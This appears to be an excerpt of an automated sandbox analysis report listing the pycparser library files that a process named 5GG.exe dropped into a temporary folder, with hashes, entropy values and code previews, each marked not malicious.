SHA-512:	FACDEE18E59E77AEF972A5ACCB343A2EA9DB03F79D226C5827DC4BCDB47D3937FE347CB1F0A2FC48F035643F58737C875FDF1BD935586A98C6966BFA88C7484A
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.34.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser-2.21.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.9219280948873623
Encrypted:	false
SSDEEP:	3:YXH/:W
MD5:	0DE5B0E5C6DF03DA418EADB1A2731207
SHA1:	6B07E5DF84D3F430B78CF44F43410E4B6BE11894
SHA-256:	73E94F712EF82FFF0AA07EC813A3D0179A1FCA2AD140D57856191B48520F7963
SHA-512:	EBC387A148D34161D542FFCA9C1F37F1C0DC99BE3F51567BDF6C408ABEC2FBD7582A89B991F01D7BF808B714E912D31B73D17E8A0444E26DD7D8C80EAD1B1D59
Malicious:	false
Preview:	pycparser.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2815
Entropy (8bit):	4.417498313109139
Encrypted:	false
SSDEEP:	48:BGCRFkZKKUFFog7CKOXUW3+jUSV0/lzJbpfybFFILP:BGCRFy9UFzqUWOjbOldbpKbFCLP
MD5:	6815545571A7A48E7BE697205E4FBD38
SHA1:	E69CEA83D6A33FAD64A107D5759A8D7E8A4CCFB8
SHA-256:	594129E43D1FB87047F50F1CD5F62F47678A59F8FE08D8212DFD8C32540B2352
SHA-512:	D6D5955027FA94E50AC154B246783B4A31A2AD1C9F3AF850FB3F9A42FED8CC497D1E850081BD30DC77625A3D51A15D2743111455B7054010C9F857A746CBC0FA
Malicious:	false
Preview:	#-----------------------------------------------------------------.# pycparser: __init__.py.#.# This package file exports some convenience functions for.# interacting with pycparser.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------.__all__ = ['c_lexer', 'c_parser', 'c_ast'].__version__ = '2.21'..import io.from subprocess import check_output.from .c_parser import CParser...def preprocess_file(filename, cpp_path='cpp', cpp_args=''):. """ Preprocess a file using cpp... filename:. Name of the file you want to preprocess... cpp_path:. cpp_args:. Refer to the documentation of parse_file for the meaning of these. arguments... When successful, returns the preprocessed file's contents.. Errors from cpp will be printed out.. """. path_list = [cpp_path]. if isinstance(cpp_args, list):. path_list += cpp_args. elif cpp_args != '

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2520
Entropy (8bit):	5.121625599144389
Encrypted:	false
SSDEEP:	48:n8mLjlDa5wkZKKUFF7EdZBAi3+jUSV0/lzJbpfybFFwj+ZHMw1:tNvy9UFiTBAiOjbOldbpKbFa+JD1
MD5:	2CC1A92EAB8000DBBF71329124F5A111
SHA1:	34D7DF8524C28A15399EB56B0339D8C582D28C7B
SHA-256:	FC1BBEAD9D011BEF4640202BA8D469D5A0038B843B8908BE2EB28CF16B9FDFFB
SHA-512:	D901BCFF170499C244AE253A19307E8EED8046BB08D98513891600982ACEFE5063D93E394F169ECF72FB523243F05E8A1ECCF2A0EB2E4613E118FC4DA416EE23
Malicious:	false
Preview:	o.........e.........................@...sH...g.d...Z.d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.....d.d.d...Z.d.S.).).Z.c_lexer..c_parserZ.c_astz.2.21.....N)...check_output.....)...CParser..cpp..c....................C...sr...\|.g.}.t.\|.t...r.\|.\|.7.}.n.\|.d.k.r.\|.\|.g.7.}.\|.\|.g.7.}.z.t.\|.d.d...}.W.\|.S...t.y8..}...z.t.d.d.\|.........d.}.~.w.w.).ae... Preprocess a file using cpp... filename:. Name of the file you want to preprocess... cpp_path:. cpp_args:. Refer to the documentation of parse_file for the meaning of these. arguments... When successful, returns the preprocessed file's contents.. Errors from cpp will be printed out.. r....T)...universal_newlineszAUnable to invoke 'cpp'. Make sure its path was passed correctly.z.Original error: %sN)...isinstance..listr......OSError..RuntimeError)...filename..cpp_path..cpp_args..path_list..text..e..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\p

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\_ast_gen.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	10208
Entropy (8bit):	5.212731237203238
Encrypted:	false
SSDEEP:	192:jHsDF2cuI80vUSTLAmDJ1JhYJZl9SORLQQt2JD:bsZ2cuIBUgLAY1JhYX9SqVt2JD
MD5:	7E2C6C15D8FB77F102A67EDD0D521568
SHA1:	EEAAA0BE3B90C1E28F09BE31584C6858BF4B0CBB
SHA-256:	B97B733EC4010A0EFC1AA572C16B71E4127BBFAB9DFA0B2EC4C85669C8C00457
SHA-512:	94AF35F591A746F5D74B9EC43E63606996668E539950AB501E4195463525132C006288F6CC48AF0FF494D80E536F9DC3D338239641A8CF9EEC310BEE4F06A491
Malicious:	false
Preview:	o.........e;).......................@...s8...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.d.S.)......)...Templatec....................@...s(...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.)...ASTCodeGenerator.._c_ast.cfgc....................C...s ...\|.\|._.d.d...\|...\|...D...\|._.d.S.).zN Initialize the code generator from a configuration. file.. c....................S...s....g.\|.].\.}.}.t.\|.\|.....q.S...)...NodeCfg)....0..name..contentsr....r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/_ast_gen.py..<listcomp>....s..........z-ASTCodeGenerator.__init__.<locals>.<listcomp>N)...cfg_filename..parse_cfgfile..node_cfg)...selfr....r....r....r......__init__....s............z.ASTCodeGenerator.__init__Nc....................C...sD...t.t...j.\|.j.d...}.\|.t.7.}.\|.j.D.].}.\|.\|.....d...7.}.q.\|...\|.....d.S.).z< Generates the code into file, an open file buffer.. ).r....z...N).r......_PROLOGUE_COMMENT..substituter......_PROLOGUE_CODEr......gen

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\_build_tables.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	5.453274407503679
Encrypted:	false
SSDEEP:	12:CorT/QXb05kKeCqaTDA9/K7HizbxPGUciYHS6EgSQeGCatkuK:FsIJeCDA9KQEEhQevmkT
MD5:	22147690361FFEDA9522A8DBB2E6F5EB
SHA1:	FCEB86C9B7F25024891A658071D869DE6122B6AC
SHA-256:	5A8B58AD4B5EF4DADE30AFFA9444C6BCB360AA6822134E6466E142DE10C8293B
SHA-512:	6CA4F3387E847AC0638896224A23CBAA3E3571607577EAF28FC463177E44BA6343F17708E3DEC3F5871F33FA766FD9E9C96FA181E8F1EDB3E281A9D6F5D77857
Malicious:	false
Preview:	o.........e.........................@...sv...d.d.l.Z.d.d.g.e.j.d.d...<.d.d.l.m.Z...e.d...Z.e...e.d.d.......d.d.l.m.Z...e.j.d.d.d.d.....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.S.)......N...z...)...ASTCodeGeneratorz._c_ast.cfgz.c_ast.py..w)...c_parserTF).Z.lex_optimizeZ.yacc_debugZ.yacc_optimize)...sys..pathZ._ast_genr....Z.ast_gen..generate..openZ.pycparserr....Z.CParserZ.lextabZ.yacctabZ.c_ast..r....r.....Z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/_build_tables.py..<module>....s................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\ast_transforms.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3783
Entropy (8bit):	4.914543846675961
Encrypted:	false
SSDEEP:	48:DQTrvsB1CuXkAQDshnw5uONxCw09dsfPB0qEjLW0n+mwr+dstB:aro1CuXk/g5w5Mw0bsfPB3Whn+mYk6B
MD5:	15B13DD2528075532E7A1B97650E0508
SHA1:	0A49D60DC9011817AC9EFB522ADA8E0B31EDB016
SHA-256:	C33ABDB3A7CA99C96AD4E0508D8BA2BB0516671359EE6EAD33A956FE1875FBF1
SHA-512:	B85209A5C76F4E830FDEE404FDC018EEB76DEC8093788CD6C3A24709CCF0DCBBC3C9349B1D9BFE1927045403D1CDD4010BD79DF0F72C7A93408E34DE3E0408C2
Malicious:	false
Preview:	o.........e;........................@...s0...d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...c_astc....................C...s....t.\|.t.j...s.J...t.\|.j.t.j...s.\|.S.t...g.\|.j.j...}.d.}.\|.j.j.p g.D.].}.t.\|.t.j.t.j.f...r>\|.j...\|.....t.\|.\|.j.....\|.j.d...}.q!\|.d.u.rI\|.j...\|.....q!\|.j...\|.....q!\|.\|._.\|.S.).a.... The 'case' statements in a 'switch' come out of parsing with one. child node, so subsequent statements are just tucked to the parent. Compound. Additionally, consecutive (fall-through) case statements. come out messy. This is a peculiarity of the C grammar. The following:.. switch (myvar) {. case 10:. k = 10;. p = k + 1;. return 10;. case 20:. case 30:. return 20;. default:. break;. }.. Creates this tree (pseudo-dump):.. Switch. ID: myvar.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\c_ast.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	29540
Entropy (8bit):	4.269976559128508
Encrypted:	false
SSDEEP:	384:WYi0gd5BSFoxVN/tjVcJwmCafeNO0hrvQffnbAVWPmtYjVr3+VY2:WYbgd5BrxVJZ8FCFN9VvUbULOVrk
MD5:	E9B383EF5CD52FFC624F0AE9E798BADA
SHA1:	7665EBF8C10BB6402298B4F855FA711A0BB320E6
SHA-256:	735A28EE0F330A3574AE454E624138B2F75F4D527E9275FC241A9E903FAF794C
SHA-512:	740A821D350764BC3BBA7592C50DE4B3EE4BE6F0E89D08D0ECF810147DBE5D2D9B872C573C4DCB0794C799A182930044CC43B1F953F48C0D54C7014380E8E4B6
Malicious:	false
Preview:	o.........e.z.......................@...sD...d.d.l.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d d!..d!e...Z.G.d"d#..d#e...Z.G.d$d%..d%e...Z.G.d&d'..d'e...Z.G.d(d)..d)e...Z.G.dd+..d+e...Z.G.d,d-..d-e...Z.G.d.d/..d/e...Z.G.d0d1..d1e...Z.G.d2d3..d3e...Z.G.d4d5..d5e...Z.G.d6d7..d7e...Z.G.d8d9..d9e...Z.G.d:d;..d;e...Z.G.d<d=..d=e...Z.G.d>d?..d?e...Z G.d@dA..dAe...Z!G.dBdC..dCe...Z"G.dDdE..dEe...Z#G.dFdG..dGe...Z$G.dHdI..dIe...Z%G.dJdK..dKe...Z&G.dLdM..dMe...Z'G.dNdO..dOe...Z(G.dPdQ..dQe...Z)G.dRdS..dSe...ZG.dTdU..dUe...Z+G.dVdW..dWe...Z,G.dXdY..dYe...Z-G.dZd[..d[e...Z.G.d\d]..d]e...Z/G.d^d_..d_e...Z0G.d`da..dae...Z1G.dbdc..dce...Z2G.ddde..dee...Z3G.dfdg..dge...Z4G.dhdi..die...Z5d.S.)j.....Nc....................C...s....t.\|.t...r.d.d...d.d...\|.D.......d...S.t.\|...S.).z[. Get the representation of

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\c_generator.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	17562
Entropy (8bit):	5.167192365683142
Encrypted:	false
SSDEEP:	192:URuF9S0UJcgsFRiYSEeWDIwUPh8EIaJTGcIv2+1dRONdZU1Z9s:URuF9S0WcgoiYEWDIweImT6vh1CNXU1U
MD5:	8529EF0EE94507836848BE4945D3744E
SHA1:	743F1543830B49CA70BB38CCE50CC91B20E63F3F
SHA-256:	DBAE3A00AABC29591F8510B55315EF4AA03E68BFF85A9ABAC7F61A8F8F799D54
SHA-512:	672F88C79917DDDAFB559BC44F7A9A205BCC243310C639016B53C13836CC2FE6A7E213DD7DF077CE1AFBE8625B8C37564A6AC347E548B0D5451376B239548FDB
Malicious:	false
Preview:	o.........elE.......................@...s ...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......)...c_astc....................@...s~...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.d.d...d.d...d.d...d.d ..d!d"..d#d$..d%d$..d&d'..d(d'..d)d'..dd'..d+d,..d-d,..d.d/..d0d/..d1d2..d3d2..d4d2i...Z.d5d6..Z.d7d8..Z.d9d:..Z.d;d<..Z.d.d=d>..Z.d?d@..Z.dAdB..Z.dCdD..Z.dEdF..Z.dGdH..Z.dIdJ..Z.dKdL..Z.dMdN..Z.dOdP..Z.dQdR..Z.dSdT..Z.dUdV..Z dWdX..Z!dYdZ..Z"d[d\..Z#d]d^..Z$d_d`..Z%dadb..Z&dcdd..Z'dedf..Z(dgdh..Z)didj..Zdkdl..Z+dmdn..Z,dodp..Z-dqdr..Z.dsdt..Z/dudv..Z0dwdx..Z1dydz..Z2d{d\|..Z3d}d~..Z4d.d...Z5d.d...Z6d.d...Z7d.d...Z8d.d...Z9d.d...Z:d.d...Z;d.d...Z<d.d.d...Z=d.d...Z>g.d.f.d.d...Z?d.d...Z@d.d...ZAd.d...ZBd.S.)...CGeneratorz. Uses the same visitor pattern as c_ast.NodeVisitor, but modified to. return a value from each visit method, using string accumulation in. generic_visit.. Fc....................C...s....d.\|._.\|.\|._.d.S.).z

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\c_lexer.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	12941
Entropy (8bit):	5.711068868623299
Encrypted:	false
SSDEEP:	384:343TcQ/ujyST6Ocg8W+qYcrn9C0vU8OZtIu1H:I3Tnujy4DOhcAUjOZtLR
MD5:	B2510DEE4AD86FBE77573F8FFD8CE9FD
SHA1:	57D8B3408272C5B6BB702EEAF98359BDC4FCF49B
SHA-256:	0CC8FB7094AE6F30497D81CA5E183E3465F40E2EEBB89B8AB8462EBED77667AF
SHA-512:	9AA67A3551CAE81407B9D05C08D2D4C55EC47B8DCDBAD9EFE5857AC7333A922B3612EEF71A872824C771944E7B6056B5A2790EF646C78031493C1D6F6023EE6C
Malicious:	false
Preview:	o.........e.C.......................@...s4...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N.....)...lex)...TOKENc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.i.Z.e.D.].Z.e.e.e.....<.q.e.D.].Z.e.e.e.d.d.........e.d.d...........<.q9e.e...d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.e...d...e...d...Z.d e...Z.e.e...e...Z.e.e...e...Z.d!Z.d"Z.d#Z.d$Z d%Z!d&e...d'..e...d'..e ..d(..Z"d)Z#de"..d...Z$d+e$..d+..Z%d,e%..Z&d-e%..Z'd.e%..Z(d/e%..Z)d+e$..d0..Zd1e$..d2..e$..d3..Z+d1e$..d4..e!..d5..Z,d6e#..d...Z-d7e-..d8..Z.d,e...Z/d-e...Z0d.e...Z1d/e...Z2d7e-..d9..e!..e-..d8..Z3d:Z4d;Z5d<e5..d...e4..d=..e4..d>..Z6d?Z7d@e...dA..e...dB..e...dC..Z8dDe...dD..e...d'..e8..d...e7..dE..Z9dFZ:dGdH..Z;e<e...dIdJ....Z=e<e...dKdL....Z>dMdN..Z?dOdP..Z@dQZAdRdS..ZBdTdU..ZCdVdW..ZDdQZEdXdY..ZFdZd[..ZGdQZHd\d]..ZId^ZJd_ZKd`ZLdaZMdbZNdcZOddZPdeZQdfZRdgZSdhZTdiZUdjZVdkZWdlZXdmZYdnZZdoZ[dpZ\dqZ]drZ^dsZ_dtZ`duZadvZbdwZcdxZddyZedzZfd{Zgd\|Zhd}Zid~Zjd.Z

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\c_parser.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	62944
Entropy (8bit):	5.147393189772113
Encrypted:	false
SSDEEP:	768:4DEU1afhPJIxmq27uSlo3rJeECeidbYyoQEUaMcyMnwBi7iWy7cC/uRI89ce1r:KEUyIxz27r+eEsGsERt7iWy7vWn1r
MD5:	1AC70C8A09F6A1A96C95EA30CEA002FE
SHA1:	9F71D0A1AF13D72F53C2F5811AAC7AB2720B697E
SHA-256:	550DDAF4BC8D59E100B440990FEE4A935900727FA558B788432DCB4BB1C104AF
SHA-512:	146D894E542E33BDBDAB2C1199EFD8B91D75588F4632C7C646B5FAD1F21861EEC797CF7D5FA4F793BCDB6D98249C88F7725E236202C11B3B6A9C13BD91282E91
Malicious:	false
Preview:	o.........e.........................@...sd...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...e.G.d.d...d.e.....Z.d.S.)......)...yacc)...c_ast)...CLexer)...PLYParser..ParseError..parameterized..template)...fix_switch_cases..fix_atomic_specifiersc....................@...s....e.Z.d.Z.d.e.d.d.d.d.d.f.d.d...Z...d]d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z...d^d"d#..Z...d^d$d%..Z.d&d'..Z.d(d)..Z.dZ.d+d,..Z.d-d...Z.d/d0..Z.d1d2..Z.d3d4..Z.d5d6..Z.d7d8..Z.d9d:..Z.d;d<..Z.d=d>..Z d?d@..Z!dAdB..Z"dCdD..Z#dEdF..Z$dGdH..Z%dIdJ..Z&dKdL..Z'dMdN..Z(dOdP..Z)dQdR..ZdSdT..Z+dUdV..Z,dWdX..Z-dYdZ..Z.d[d\..Z/d]d^..Z0d_d`..Z1dadb..Z2dcdd..Z3dedf..Z4dgdh..Z5didj..Z6dkdl..Z7dmdn..Z8dodp..Z9dqdr..Z:dsdt..Z;dudv..Z<dwdx..Z=dydz..Z>d{d\|..Z?d}d~..Z@d.d...ZAd.d...ZBd.d...ZCd.d...ZDd.d...ZEd.d...ZFd.d...ZGd.d...ZHd.d...ZId.d...ZJd.d...ZKd.d...ZLd.d...ZMd.d...ZNd.d...ZOd.d...ZPd.d...ZQd.d...ZRd.d...ZSd.d...ZTd.d...ZUd.d...ZVe

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\lextab.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	6617
Entropy (8bit):	5.936087426360332
Encrypted:	false
SSDEEP:	96:nj+cKJBh3kpovCJ3fVPpyPpcCALPfCgckcWZswloa81hVzT3p:nCc2h3kpov+l7fPck5ZsOoBXTZ
MD5:	F2186471F41E1A2C7923A285EF3E55C9
SHA1:	09E93FFA7E433D66E97B3321158D217779D9382D
SHA-256:	3A6E546B034F741F2CCF9D14B3F69699ED9F6DE2E11B3F7083582BE2AFE16F32
SHA-512:	3FD311DE82A83876B6666C7E539867B17EC9C1A8E3C90641D337B16880D43E48EF6499296B65A2298C90A0696BDBC4A401A6F615FD6225C4E3337A69BF39AB1C
Malicious:	false
Preview:	o.........e8!.......................@...s....d.Z.e.d...Z.d.Z.d.Z.d.d.d.d...Z.d.g.d...f.g.d.g.d...f.g.d.g.d...f.d.g.d...f.d.g.d...f.d.g.d...f.g.d...Z.d.d.d.d...Z.d.d.d.d...Z.i.Z.d.S.).z.3.10)p..INT_CONST_CHARZ.VOID..LBRACKET..WCHAR_CONST..FLOAT_CONST..MINUS..RPARENZ.STRUCT..LONG..PLUS..ELLIPSIS..U32STRING_LITERAL..GTZ.GOTOZ.ENUM..PERIOD..GE..INT_CONST_DEC..ARROWZ._STATIC_ASSERTZ.__INT128..HEX_FLOAT_CONST..DOUBLE..MINUSEQUAL..INT_CONST_OCT..TIMESEQUAL..OR..SHORTZ.RETURN..RSHIFTEQUALZ._ALIGNASZ.RESTRICTZ.STATICZ.SIZEOFZ.UNSIGNED..PLUSPLUS..COLON..WSTRING_LITERAL..DIVIDEZ.FORZ.UNION..EQUALS..ELSE..ANDEQUAL..EQ..ANDZ.TYPEID..LBRACE..PPHASH..INTZ.SIGNED..CONTINUE..NOT..OREQUAL..MOD..RSHIFT..DEFAULTZ._NORETURN..CHARZ.WHILE..DIVEQUALZ._ALIGNOFZ.EXTERN..LNOTZ.CASE..LANDZ.REGISTER..MODEQUAL..NEZ.SWITCH..INT_CONST_HEXZ._COMPLEXZ.PPPRAGMASTR..PLUSEQUAL..U32CHAR_CONST..CONDOP..U8STRING_LITERALZ.BREAKZ.VOLATILE..PPPRAGMAZ.INLINE..INT_CONST_BINZ.DO..U8CHAR_CONSTZ.CONST..U16STRING_LITERAL..LOR..CHAR_

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\plyparser.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	4693
Entropy (8bit):	5.174427034179309
Encrypted:	false
SSDEEP:	96:7FJl4bR/YgSE5BFVBVC4fCnEnk1tpo4jXDtUUtY3RlyFrjQ6J9FnOHp+:79455J5BFnIOk17o4XJ5telyFrjj9Fnx
MD5:	21D79F9FF1EABDF5A3858DBF5EB3B609
SHA1:	F0332DDD0DD29498455C277A52834EB2647DAB3B
SHA-256:	21E0CA474FF39E51CDCA728F2954E85BA9AFB956FFBEA59BA29FFDA854B9340C
SHA-512:	85678E65373D748717ED57288D109B540C5643E699A1BC72CDE738114FC050332C96EAD65BE6B7D8711BADEE1E8BA6BF1AA68A08C1D358AFB5DE083F245BFF73
Malicious:	false
Preview:	o.........e.........................@...sT...d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......Nc....................@...s&...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.S.)...Coordz. Coordinates of a syntactic element. Consists of:. - File name. - Line number. - (optional) column number, for the Lexer. )...file..line..column..__weakref__Nc....................C...s....\|.\|._.\|.\|._.\|.\|._.d.S...N..r....r....r....)...selfr....r....r......r.....V...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/plyparser.py..__init__....s..........z.Coord.__init__c....................C...s(...d.\|.j.\|.j.f...}.\|.j.r.\|.d.\|.j...7.}.\|.S.).Nz.%s:%sz.:%sr....).r......strr....r....r......__str__....s..........z.Coord.__str__r....)...__name__..__module__..__qualname__..__doc__..__slots__r....r....r....r....r....r....r........s..............r....c....................@...s....e.Z.d.Z.d.S.)...ParseErrorN).r....r....r....r..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\pycache\yacctab.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	177108
Entropy (8bit):	4.687245635925646
Encrypted:	false
SSDEEP:	1536:xhqnefunn8DEX7QafYBX6QoXEAR3pYcEexPbwh05DF3XTFLjNJMeG2OB7T:hGn8m/k6QMEe3uDmjM2OB7T
MD5:	02E75ABD2D275D5D7A00894D8BA34254
SHA1:	D5D48882937DA15CA9EF4756729FC3CC9C193BDD
SHA-256:	2F0A09EB776859758FF816C9A09AD82D8632D38876AC22D63617F11DE0EFE2E2
SHA-512:	8BC637246075A20C31F11CF0714BC699800B42CF30F52EDFA8FE474AC62FB56012E20C31EDC665F0CE60628D275407A2F33EF9A912F7FC8FAE0F12D62529DE25
Malicious:	false
Preview:	o.........eT#.......................@...s....d.Z.d.Z.d.Z.i.d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.g.d...g.d...f...d.d.g.d.g.f...d g.d!..g.d"..f...d#g.d$..g.d%..f...d&g.d'..g.d(..f...d)g.d...g.d*..f...d+g.d,..g.d-..f...d.g.d$..g.d/..f...i.d0g.d...g.d1..f...d2g.d3..g.d4..f...d5g.d6..g.d7..f...d8g.d...g.d9..f...d:g.d...g.d;..f...d<g.d...g.d=..f...d>g.d?..g.d@..f...dAg.d...g.dB..f...dCg.d?..g.dD..f...dEg.d$..g.dF..f...dGg.d...g.dH..f...dIg.d'..g.dJ..f...dKg.d?..g.dL..f...dMg.dN..g.dO..f...dPg.dQ..g.dR..f...dSg.dT..g.dU..f...dVg.d...g.dW..f.....i.dXg.d...g.dY..f...dZg.d...g.d[..f...d\g.d]..g.d^..f...d_g.d`..g.da..f...dbg.d!..g.dc..f...ddg.d$..g.de..f...dfg.d'..g.dg..f...dhg.di..g.dj..f...dkg.dl..g.dm..f...dng.do..g.dp..f...dqg.d?..g.dr..f...dsg.d$..g.dt..f...dug.d...g.dv..f...dwg.dx..g.dy..f...dzg.d{..g.d\|..f...d}g.d~..g.d...f...d.g.d...g.d...f.....i.d.g.d...g.d...f.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\_ast_gen.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10555
Entropy (8bit):	4.289297252377711
Encrypted:	false
SSDEEP:	192:+jiTEjcTYTfXnwwypQtyDJwYJZl9SORLQQt2Jg:+jiAAGe3wYX9SqVt2Jg
MD5:	53D7F918162B45DA5D2844AA4C178D38
SHA1:	87798DA0CC0F8A2753CC3FE07514910485F43285
SHA-256:	D094559C35BE270FB7223565A3C8DEF6B6C0729E8AA3BB681C09C1E738BB8744
SHA-512:	F2BC58169C2DECDA74ACCA325E4B8F294D6F758A3F9B5A603795F688D481C97710A5D787B70198635B79FA128849648C0BE5DB0835A898471D95B3BCDC0371F3
Malicious:	false
Preview:	#-----------------------------------------------------------------.# _ast_gen.py.#.# Generates the AST Node classes from a specification given in.# a configuration file.#.# The design of this module was inspired by astgen.py from the.# Python 2.5 code-base..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------.from string import Template...class ASTCodeGenerator(object):. def __init__(self, cfg_filename='_c_ast.cfg'):. """ Initialize the code generator from a configuration. file.. """. self.cfg_filename = cfg_filename. self.node_cfg = [NodeCfg(name, contents). for (name, contents) in self.parse_cfgfile(cfg_filename)].. def generate(self, file=None):. """ Generates the code into file, an open file buffer.. """. src = Template(_PROLOGUE_COMMENT).substitute(. cfg_filename=self.cfg_filename).. src += _PROLOGUE_CODE.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\_build_tables.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	4.73373911997263
Encrypted:	false
SSDEEP:	24:yyfjhZuU0ILaO1NW2ZG34JlCD1JUOU5WV:B7uUdzWzmCv7LV
MD5:	126C4F0817A6409AD4EF95A1CBCD7A0A
SHA1:	DD6D0DE88863CC76D66159F5CAE4D7E46E1371F5
SHA-256:	A1909DDCF961ABEBE457E42E12C69A85C7FE8D423AF8780AB2B00BF60BC5CEE5
SHA-512:	EEB2E3102B72E1BEC05D19E1A40570B1DE578424FD9DB92448A3CF3224F05A06AFDCA53DA72681534F56785C1A81BFA553BBC08D5C0DB61BCAA39C76DCBD220A
Malicious:	false
Preview:	#-----------------------------------------------------------------.# pycparser: _build_tables.py.#.# A dummy for generating the lexing/parsing tables and and.# compiling them into .pyc for faster execution in optimized mode..# Also generates AST code from the configuration file..# Should be called from the pycparser directory..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------..# Insert '.' and '..' as first entries to the search path for modules..# Restricted environments like embeddable python do not include the.# current working directory on startup..import sys.sys.path[0:0] = ['.', '..']..# Generate c_ast.py.from _ast_gen import ASTCodeGenerator.ast_gen = ASTCodeGenerator('_c_ast.cfg').ast_gen.generate(open('c_ast.py', 'w'))..from pycparser import c_parser..# Generates the tables.#.c_parser.CParser(. lex_optimize=True,. yacc_debug=False,. yacc_optimize=True)..# Load to compile into .pyc.#.imp

